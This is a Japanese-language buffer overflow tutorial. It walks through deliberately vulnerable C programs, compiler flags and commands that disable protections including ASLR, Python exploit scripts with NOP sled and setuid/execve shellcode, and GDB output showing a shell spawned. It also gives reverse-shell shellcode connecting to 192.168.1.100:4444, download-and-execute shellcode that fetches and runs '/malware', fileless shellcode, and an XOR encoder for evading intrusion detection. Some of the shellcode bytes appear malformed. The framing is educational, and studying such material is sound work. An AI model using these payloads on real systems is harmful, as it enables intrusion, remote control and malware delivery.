バッファオーバーフロー基礎原理
バッファオーバーフローとは
バッファオーバーフローとは、プログラムが固定サイズのバッファに、その容量を超えるデータを書き込む際に発生する一般的なソフトウェアセキュリティ脆弱性です。この脆弱性により、以下のような問題が発生する可能性があります。
- メモリ破壊: 隣接するメモリ領域を上書きする
- プログラムクラッシュ: プログラムの正常な実行フローを破壊する
- コード実行: 攻撃者がプログラムの制御権を取得する可能性がある
C言語におけるメモリレイアウト
Cプログラムでは、メモリは通常以下のいくつかの領域に分割されます。
1高アドレス
2+------------------+
3| スタック領域 | ← 関数呼び出し、ローカル変数
4| ↓ |
5+------------------+
6| ... |
7+------------------+
8| ↑ |
9| ヒープ領域 | ← 動的メモリ確保
10+------------------+
11| BSSセグメント(未初期化) |
12+------------------+
13| データセグメント(初期化済み) |
14+------------------+
15| コードセグメント |
16+------------------+
17低アドレススタックフレーム構造
関数が呼び出されるたびに、スタック上にスタックフレームが作成されます。
1高アドレス
2+------------------+
3| 関数引数 |
4+------------------+
5| 戻りアドレス | ← 主要な攻撃対象
6+------------------+
7| 保存されたEBP |
8+------------------+
9| ローカル変数 | ← バッファの位置
10+------------------+
11低アドレスバッファオーバーフローが発生すると、データが戻りアドレスを上書きし、プログラムの実行フローを制御する可能性があります。
脆弱性コード分析
ターゲットプログラムコード
1#include <stdio.h>
2#include <string.h>
3
4int copy(char *str) {
5 char buffer[100]; // 100バイトのローカルバッファ
6 // unsafe!
7 strcpy(buffer, str); // 危険な文字列コピー操作
8 return 0; // 戻り値を追加
9}
10
11int main(int argc, char *argv[]) {
12 copy(argv[1]); // コマンドライン引数をcopy関数に渡す
13 return 0;
14}脆弱性分析
この単純なCプログラムには、典型的なバッファオーバーフローの脆弱性が含まれています。
- 脆弱点:
strcpy(buffer, str)関数はソース文字列の長さをチェックしない - バッファサイズ:
buffer配列は100バイトしかない - 攻撃ベクトル:
argv[1]が100バイトを超えると、オーバーフローが発生する - 影響範囲: オーバーフローしたデータはスタック上の他のデータ、戻りアドレスを含む、を上書きする
メモリレイアウト分析
copy関数が呼び出されるときのスタックのレイアウトはおおよそ以下のようになります。
1高アドレス
2+------------------+
3| argv[1]ポインタ | ← main関数の引数
4+------------------+
5| copy戻りアドレス | ← 攻撃目標!
6+------------------+
7| 保存されたEBP |
8+------------------+
9| buffer[99] |
10| buffer[98] |
11| ... | ← 100バイトバッファ
12| buffer[1] |
13| buffer[0] | ← ESPが指す付近
14+------------------+
15低アドレス入力データが100バイトを超えると、余分なデータは保存されたEBPと戻りアドレスを上書きします。
拡張脆弱性例
バッファオーバーフローの多様性をよりよく理解するために、他のタイプのオリジナルの脆弱性例を見てみましょう。これらの例は、現実世界のCVE脆弱性と同様の攻撃パターンを持っています。
例2:ユーザー認証システムの脆弱性(CVE-2024-28219パターンに類似)
1#include <stdio.h>
2#include <string.h>
3#include <stdlib.h>
4
5typedef struct {
6 char username[32];
7 char password[32];
8 int is_admin;
9} UserCredentials;
10
11int authenticate_user(const char* user_input, const char* pass_input) {
12 UserCredentials creds;
13 creds.is_admin = 0; // デフォルトで管理者権限なし
14
15 // 危険な文字列コピー - is_adminフィールドを上書きする可能性があるオーバーフロー
16 strcpy(creds.username, user_input);
17 strcpy(creds.password, pass_input);
18
19 printf("ユーザー名: %s\n", creds.username);
20 printf("管理者権限: %s\n", creds.is_admin ? "あり" : "なし");
21
22 return creds.is_admin;
23}
24
25int main(int argc, char *argv[]) {
26 if (argc != 3) {
27 printf("使用方法: %s <ユーザー名> <パスワード>\n", argv[0]);
28 return 1;
29 }
30
31 if (authenticate_user(argv[1], argv[2])) {
32 printf("🔓 管理者権限を取得!\n");
33 system("/bin/sh");
34 } else {
35 printf("❌ 認証失敗\n");
36 }
37
38 return 0;
39}脆弱性分析:
- 構造体のレイアウト:
usernameとpasswordフィールドはis_adminフィールドに隣接している - オーバーフローポイント: 長すぎるユーザー名が
is_adminフィールドを上書きする可能性がある、CVE-2024-28219と同様にstrcpyの境界チェックがない - 攻撃効果:
is_adminを0から非ゼロ値に上書きし、管理者権限を取得する - 現実との対応: このような脆弱性は認証システムで一般的であり、攻撃者は入力の長さを正確に制御することで重要なフラグビットを変更する
例3:ネットワークデータ処理の脆弱性(CVE-2023-6549パターンに類似)
1#include <stdio.h>
2#include <string.h>
3#include <stdint.h>
4
5typedef struct {
6 uint32_t packet_length;
7 char data_buffer[256];
8 void (*process_callback)(char*);
9} NetworkPacket;
10
11void safe_handler(char* data) {
12 printf("安全な処理: %s\n", data);
13}
14
15void dangerous_handler(char* data) {
16 printf("🚨 危険な処理関数が呼び出されました!\n");
17 system(data);
18}
19
20int process_network_data(const char* raw_data, uint32_t length) {
21 NetworkPacket packet;
22 packet.process_callback = safe_handler; // デフォルトで安全な処理関数
23
24 printf("長さ %u のデータパケットを処理しています\n", length);
25
26 // 潜在的な整数オーバーフローとバッファオーバーフロー
27 if (length > 0 && length < 512) { // 安全に見えるチェック
28 memcpy(packet.data_buffer, raw_data, length);
29 packet.process_callback(packet.data_buffer);
30 }
31
32 return 0;
33}
34
35int main(int argc, char *argv[]) {
36 if (argc != 2) {
37 printf("使用方法: %s <データ>\n", argv[0]);
38 return 1;
39 }
40
41 uint32_t data_len = strlen(argv[1]);
42 process_network_data(argv[1], data_len);
43
44 return 0;
45}脆弱性分析:
- 関数ポインタの上書き: 長すぎるデータが
process_callback関数ポインタを上書きする可能性がある - 長さチェックの回避: 符号なし整数の比較は回避される可能性がある、CVE-2022-0185と同様に整数アンダーフロー
- 攻撃ベクトル: 巧妙に構成された入力により、関数ポインタを
dangerous_handlerに指すことができる - 現実との対応: このパターンはネットワークプロトコル処理で一般的であり、CVE-2023-6549は同様の方法でNetScalerのバッファオーバーフローをトリガーした
コンパイル設定と環境準備
コンパイルパラメータ解析
1# 脆弱性プログラムをコンパイル
2gcc -m32 -std=c99 -g -fno-stack-protector -z execstack -no-pie -o vul vul.c各コンパイルパラメータの役割:
-m32: 32ビット実行可能ファイルを生成する、メモリアドレス計算を簡素化する-std=c99: C99標準でコンパイルする-g: デバッグ情報を含める、GDBデバッグに便利-fno-stack-protector: スタック保護機構(canary)を無効にする-z execstack: スタック領域の実行を許可する、シェルコードを実行できるようにする-no-pie: 位置独立実行可能ファイル(PIE)を無効にする、プログラムのロードアドレスを固定する
システムセキュリティ機構の設定
1# アドレス空間配置ランダム化(ASLR)を無効にする
2root@softsec2:/home/toor/sample# echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
30ASLR(Address Space Layout Randomization):
- 通常、プログラムが実行されるたびにメモリアドレスがランダム化される
- ASLRを無効にすると、スタックアドレス、ヒープアドレス、ライブラリアドレスが予測可能になる
- これにより、攻撃者はジャンプアドレスを正確に計算できる
脆弱性利用手順
手順1:オーバーフローポイントの特定
1#!/usr/bin/python3
2# exploit_step1.py - 基本的なオーバーフローのテスト
3import sys
4
5# 112個の'A'文字 + 4個の'B'文字を送信する
6# 112バイトでバッファを埋め、4バイトで戻りアドレスを上書きする
7sys.stdout.buffer.write(b'A' * 112 + b'B' * 4)原理の説明:
- 112個の'A': 100バイトのバッファ + 12バイトのパディング(アライメントと保存されたEBP)
- 4個の'B': 4バイトの戻りアドレスを上書きする
- プログラムが戻ろうとすると、アドレス
0x42424242('BBBB'の16進数表現)にジャンプする
テスト実行結果
1# 攻撃ペイロードを生成する
2python3 exploit_step1.py > payload1
3
4# テストを実行する
5./vul $(cat payload1)成功すると、無効なアドレス0x42424242へのジャンプを試みるため、プログラムはクラッシュします。これは、プログラムの実行フローを制御したことを証明しています。
1(gdb) list
2warning: Source file is more recent than executable.
31 #include <stdio.h>
42 #include <string.h>
53 int copy(char *str) {
64 char buffer[100];
75 // unsafe!
86 strcpy(buffer, str);
97 }
108 int main(int argc, char *argv[]) {
119 copy(argv[1]);
1210 return 0;
13(gdb) b 6
14Breakpoint 1 at 0x8049187: file vul.c, line 6.
15(gdb) run $(cat out_boom)
16Starting program: /home/toor/sample/vul $(cat out_boom)
17[Thread debugging using libthread_db enabled]
18Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
19
20Breakpoint 1, copy (str=0xffffdf42 'A' <repeats 112 times>, "BBBB") at vul.c:6
216 strcpy(buffer, str);
22(gdb) n
237 }
24(gdb) x/x $esp
250xffffdcd0: 0xf7ffd000
26(gdb) x/40x $esp
270xffffdcd0: 0xf7ffd000 0x00000020 0x00000000 0x41414141
280xffffdce0: 0x41414141 0x41414141 0x41414141 0x41414141
290xffffdcf0: 0x41414141 0x41414141 0x41414141 0x41414141
300xffffdd00: 0x41414141 0x41414141 0x41414141 0x41414141
310xffffdd10: 0x41414141 0x41414141 0x41414141 0x41414141
320xffffdd20: 0x41414141 0x41414141 0x41414141 0x41414141
330xffffdd30: 0x41414141 0x41414141 0x41414141 0x41414141
340xffffdd40: 0x41414141 0x41414141 0x41414141 0x42424242
350xffffdd50: 0xffffdf00 0xf7fbe66c 0xf7fbeb10 0x080491b7
360xffffdd60: 0x00000001 0xffffdd80 0xf7ffd020 0xf7da7519
37(gdb) c
38Continuing.
39
40Program received signal SIGSEGV, Segmentation fault.
410x42424242 in ?? ()手順1テスト成功分析:
- 入力データの確認: GDBは、入力された文字列が112個の'A'文字と4個の'B'文字であることを示している
- メモリ上書きの検証:
0xffffdcd0-0xffffdd40: 大量の0x41414141('AAAA')がバッファと隣接メモリを埋めている0xffffdd40: 最後の4バイトが0x42424242('BBBB')で上書きされている、これは関数の戻りアドレスの位置である
- 攻撃効果の確認:
- プログラムはアドレス
0x42424242に戻ろうとするが、これは有効なメモリアドレスではない - セグメンテーションフォルト(SIGSEGV)が発生し、プログラムがクラッシュする
- これは、プログラムの実行フローを制御することに成功したことを証明している
- プログラムはアドレス
このテストにより、以下が確認された。
- オーバーフローポイントの正確な位置:112バイトのパディング + 4バイトの戻りアドレスの上書き
- EIPレジスタの値を正確に制御できる
- 次に、
0x42424242をシェルコードを指す実際のアドレスに置き換えることができる
手順2:攻撃ペイロードの構築
NOPスレッド技術(NOPスレッド)
NOP(No Operation)はアセンブリ命令(マシンコード:\x90)であり、実行時に何も行わず、プログラムカウンタを単にインクリメントする。NOPスレッドは、攻撃の成功率を高める技術である。
1#!/usr/bin/python3
2# exploit_final.py - 完全な攻撃ペイロード
3import sys
4
5# NOPスレッド:64バイトのNOP命令
6# 役割:ジャンプアドレスが不正確であっても、シェルコードに「滑り込む」ことができる
7nopsled = b'\x90' * 64
8
9# シェルコード:root権限を取得し、シェルを実行する
10shellcode = (
11 b'\x31\xc0\x89\xc3\xb0\x17\xcd\x80' + # setuid(0)システムコール
12 b'\x31\xd2\x52\x68\x6e\x2f\x73\x68' + # "/bin/sh"文字列を構築する
13 b'\x68\x2f\x2f\x62\x69\x89\xe3\x52' + # 文字列の構築を続ける
14 b'\x53\x89\xe1\x8d\x42\x0b\xcd\x80' # execve("/bin/sh")システムコール
15)
16
17# パディングバイト数の計算:合計長さ112 - NOPスレッド64 - シェルコードの長さ32 = 16
18padding = b'A' * (112 - 64 - 32)
19
20# 戻りアドレス:NOPスレッド領域の特定の位置にジャンプする
21eip = b"\xF0\xDC\xFF\xFF" # スタック上のアドレス
22
23# 最終ペイロードの組み立て:NOPスレッド + シェルコード + パディング + 戻りアドレス
24sys.stdout.buffer.write(nopsled + shellcode + padding + eip)シェルコード分析
このシェルコードの機能は、root権限を取得してシェルを起動することである。
setuid(0): 現在のプロセスのユーザーIDを0(root)に設定する- 文字列の構築: スタック上に"/bin/sh"文字列を構築する
execve("/bin/sh"): シェルプログラムを実行する
マシンコードの解析:
\x31\xc0:xor eax, eax- EAXをゼロクリアする\x89\xc3:mov ebx, eax- EBXを0に設定する\xb0\x17:mov al, 0x17- setuidシステムコール番号(23)\xcd\x80:int 0x80- システムコールをトリガーする
拡張シェルコード分析
基本的なシェル起動シェルコードに加えて、攻撃者は他のタイプのペイロードを使用する可能性があります。以下は、一般的なシェルコードのバリエーションです。
リバースシェルコード
このシェルコードは、攻撃者が制御するサーバーへの接続を確立します。
1# リバースシェルコード(192.168.1.100:4444に接続)
2reverse_shell = (
3 b'\x31\xc0\x31\xdb\x31\xc9\x31\xd2' + # レジスタをクリアする
4 b'\xb0\x66\xb3\x01\x51\x53\x6a\x02' + # socket(AF_INET, SOCK_STREAM, 0)
5 b'\x89\xe1\xcd\x80\x89\xc6\xb0\x66' + # システムコールを呼び出し、ソケットfdを保存する
6 b'\xb3\x03\x68\x64\x01\xa8\xc0\x66' + # sockaddr構造体を構築する(IP: 192.168.1.100)
7 b'\x68\x11\x5c\x66\x53\x89\xe1\x6a' + # ポート4444、AF_INET
8 b'\x10\x51\x56\x89\xe1\xcd\x80\x31' + # connect()システムコール
9 b'\xc9\xb1\x03\xb0\x3f\x49\x89\xf3' + # ループdup2() stdin/stdout/stderrをリダイレクトする
10 b'\xcd\x80\x75\xf8\x31\xc0\x50\x68' + #
11 b'\x2f\x2f\x73\x68\x68\x2f\x62\x69' + # "/bin/sh"文字列を構築する
12 b'\x89\xe3\x50\x53\x89\xe1\xb0\x0b' + # execve("/bin/sh")
13 b'\xcd\x80' # シェルを実行する
14)リバースシェルコード分析:
- ソケットの作成:
socket()システムコールを使用してTCP接続を作成する - 攻撃者への接続: 指定されたIPアドレスとポートに接続する
- IOのリダイレクト: stdin/stdout/stderrをソケットにリダイレクトする
- シェルの実行: シェルを起動し、リモート制御を実現する
ダウンロード実行シェルコード
このシェルコードは、リモートサーバーからファイルをダウンロードして実行します。
1# ダウンロード実行シェルコードの例
2download_exec = (
3 b'\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68' + # execveの準備
4 b'\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x2d\x63' + # "/bin/sh"、"-c"パラメータ
5 b'\x00\x00\x89\xe6\x52\x68\x67\x65\x74\x20\x68' + # "wget "コマンド
6 b'\x77\x67\x65\x74\x20\x89\xe7\x52\x68\x74\x70' + # wgetコマンドを構築する
7 b'\x3a\x2f\x2f\x68\x68\x74\x74\x70\x3a\x2f\x2f' + # "http://"
8 b'\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x2e\x31' + # IPアドレス文字列
9 b'\x30\x30\x2f\x6d\x61\x6c\x77\x61\x72\x65\x20' + # "/malware "
10 b'\x26\x26\x20\x63\x68\x6d\x6f\x64\x20\x2b\x78' + # "&& chmod +x"
11 b'\x20\x6d\x61\x6c\x77\x61\x72\x65\x20\x26\x26' + # " malware &&"
12 b'\x20\x2e\x2f\x6d\x61\x6c\x77\x61\x72\x65' # " ./malware"
13)ファイルレス攻撃シェルコード
メモリ内で直接コードを実行し、ファイルを残しません。
1// メモリ実行シェルコードフレームワーク
2char memory_exec_template[] =
3 // 実行可能メモリを割り当てる
4 "\x31\xc0\x31\xdb\x31\xc9\x31\xd2" // レジスタをクリアする
5 "\xb8\x7d\x00\x00\x00" // mmapシステムコール番号
6 "\x31\xdb" // addr = NULL
7 "\xb9\x00\x10\x00\x00" // length = 4096
8 "\xba\x07\x00\x00\x00" // prot = PROT_READ|WRITE|EXEC
9 "\xbe\x22\x00\x00\x00" // flags = MAP_PRIVATE|ANONYMOUS
10 "\xbf\xff\xff\xff\xff" // fd = -1
11 "\x31\xed" // offset = 0
12 "\xcd\x80" // int 0x80
13
14 // 後続のコードを新しく割り当てられたメモリにコピーする
15 "\x89\xc3" // mmapから返されたアドレスを保存する
16 "\x31\xc9" // カウンタをクリアする
17 "\xeb\x0c" // payloadにジャンプする
18
19 // ここに実際のpayloadコードを挿入する...
20 ;シェルコードのエンコード技術
侵入検知システムを回避するために、シェルコードは通常エンコードする必要があります。
1def xor_encode_shellcode(shellcode, key=0xAA):
2 """単純なXORエンコードの例"""
3 encoded = bytearray()
4 for byte in shellcode:
5 encoded.append(byte ^ key)
6
7 # デコードスタブを追加する
8 decoder_stub = (
9 b'\xeb\x11' # jmp short 0x13(エンコードデータを超える)
10 b'\x5e' # pop esi(シェルコードアドレスを取得する)
11 b'\x31\xc9' # xor ecx, ecx(カウンタをクリアする)
12 b'\xb1' + bytes([len(encoded)]) # mov cl, <length>
13 b'\x80\x36' + bytes([key]) # xor byte ptr [esi], <key>
14 b'\x46' # inc esi
15 b'\xe2\xfb' # loop デコードループ
16 b'\xeb\x05' # jmp short +5(デコード後のシェルコードにジャンプする)
17 b'\xe8\xea\xff\xff\xff' # call デコーダに戻る
18 )
19
20 return decoder_stub + encoded
21
22# 使用例
23original_shellcode = b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'
24encoded = xor_encode_shellcode(original_shellcode)シェルコードの検出と防御
シェルコードの動作原理を理解することは、効果的な防御策を講じるのに役立ちます。
特徴検出
1def detect_shellcode_patterns(data):
2 """一般的なシェルコードパターンを検出する"""
3 suspicious_patterns = [
4 b'\x31\xc0', # xor eax, eax
5 b'\xcd\x80', # int 0x80
6 b'\x2f\x62\x69\x6e', # "/bin"
7 b'\x2f\x73\x68', # "/sh"
8 b'\x90' * 10, # NOPスレッド
9 ]
10
11 detections = []
12 for pattern in suspicious_patterns:
13 if pattern in data:
14 detections.append(f"疑わしいパターンを検出しました: {pattern.hex()}")
15
16 return detectionsGDBデバッグ分析
ブレークポイントの設定と実行
1
2(gdb) list
3warning: Source file is more recent than executable.
41 #include <stdio.h>
52 #include <string.h>
63 int copy(char *str) {
74 char buffer[100];
85 // unsafe!
96 strcpy(buffer, str);
107 }
118 int main(int argc, char *argv[]) {
129 copy(argv[1]);
1310 return 0;
14
15# strcpy関数にブレークポイントを設定する
16(gdb) b 6
17Breakpoint 1 at 0x8049187: file vul.c, line 6.
18
19# 攻撃ペイロードを使用してプログラムを実行する
20(gdb) run $(python3 exploit_final.py)
21Starting program: /home/toor/sample/vul $(python3 exploit_final.py)
22[Thread debugging using libthread_db enabled]
23Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
24
25Breakpoint 1, copy (str=0xffffdf42 '\220' <repeats 64 times>, "\061\300\211\303\260\027\315\200\061\322Rhn/shh//bi\211\343RS\211\341\215B\v\315\200", 'A' <repeats 16 times>, "\360\334\377\377") at vul.c:6
266 strcpy(buffer, str);
27
28# strcpy操作を実行する
29(gdb) n
307 }
31
32**デバッグ情報の解釈**:
33- GDBは、入力された文字列の内容を表示する、NOPスレッド(`\220`が64回繰り返される)が見られる
34- 次に、シェルコードのマシンコードが続く
35- その後、パディング文字'A'(16個)
36- 最後に、戻りアドレス`\360\334\377\377`
37
38### メモリ状態の分析
39
40```bash
41# スタックポインタの位置をチェックする
42(gdb) x/x $esp
430xffffdcd0: 0xf7ffd000
44
45# スタック上の40個の32ビットワード(160バイト)を表示する
46(gdb) x/40x $esp
470xffffdcd0: 0xf7ffd000 0x00000020 0x00000000 0x90909090
480xffffdce0: 0x90909090 0x90909090 0x90909090 0x90909090
490xffffdcf0: 0x90909090 0x90909090 0x90909090 0x90909090
500xffffdd00: 0x90909090 0x90909090 0x90909090 0x90909090
510xffffdd10: 0x90909090 0x90909090 0x90909090 0xc389c031
520xffffdd20: 0x80cd17b0 0x6852d231 0x68732f6e 0x622f2f68
530xffffdd30: 0x52e38969 0x8de18953 0x80cd0b42 0x41414141
540xffffdd40: 0x41414141 0x41414141 0x41414141 0xffffdcf0
550xffffdd50: 0xffffdf00 0xf7fbe66c 0xf7fbeb10 0x080491b7
560xffffdd60: 0x00000001 0xffffdd80 0xf7ffd020 0xf7da7519メモリ分析の詳細:
-
NOPスレッド領域 (
0xffffdcd0-0xffffdd18):- 大量の
0x90909090はNOP命令を表す - これにより、攻撃に大きなターゲット領域が提供される
- 大量の
-
シェルコード領域 (
0xffffdd18-0xffffdd38):0xc389c031: シェルコードの先頭部分 (xor eax,eax; mov ebx,eax)0x80cd17b0:mov al,0x17; int 0x80(setuidシステムコール)0x6852d231-0x80cd0b42: execveシステムコール関連のコード
-
パディング領域 (
0xffffdd38-0xffffdd48):0x41414141: パディング文字'A'
-
戻りアドレスの上書き (
0xffffdd48):0xffffdcf0: これは設定した戻りアドレスであり、NOPスレッド領域を指している
攻撃ペイロードの実行
1# プログラムの実行を続ける
2(gdb) c
3Continuing.
4
5# プログラムはシェルコードを正常に実行し、新しいシェルを起動する
6process 10920 is executing new program: /usr/bin/dash
7Error in re-setting breakpoint 1: No source file named /home/toor/sample/vul.c.
8[Thread debugging using libthread_db enabled]
9Using host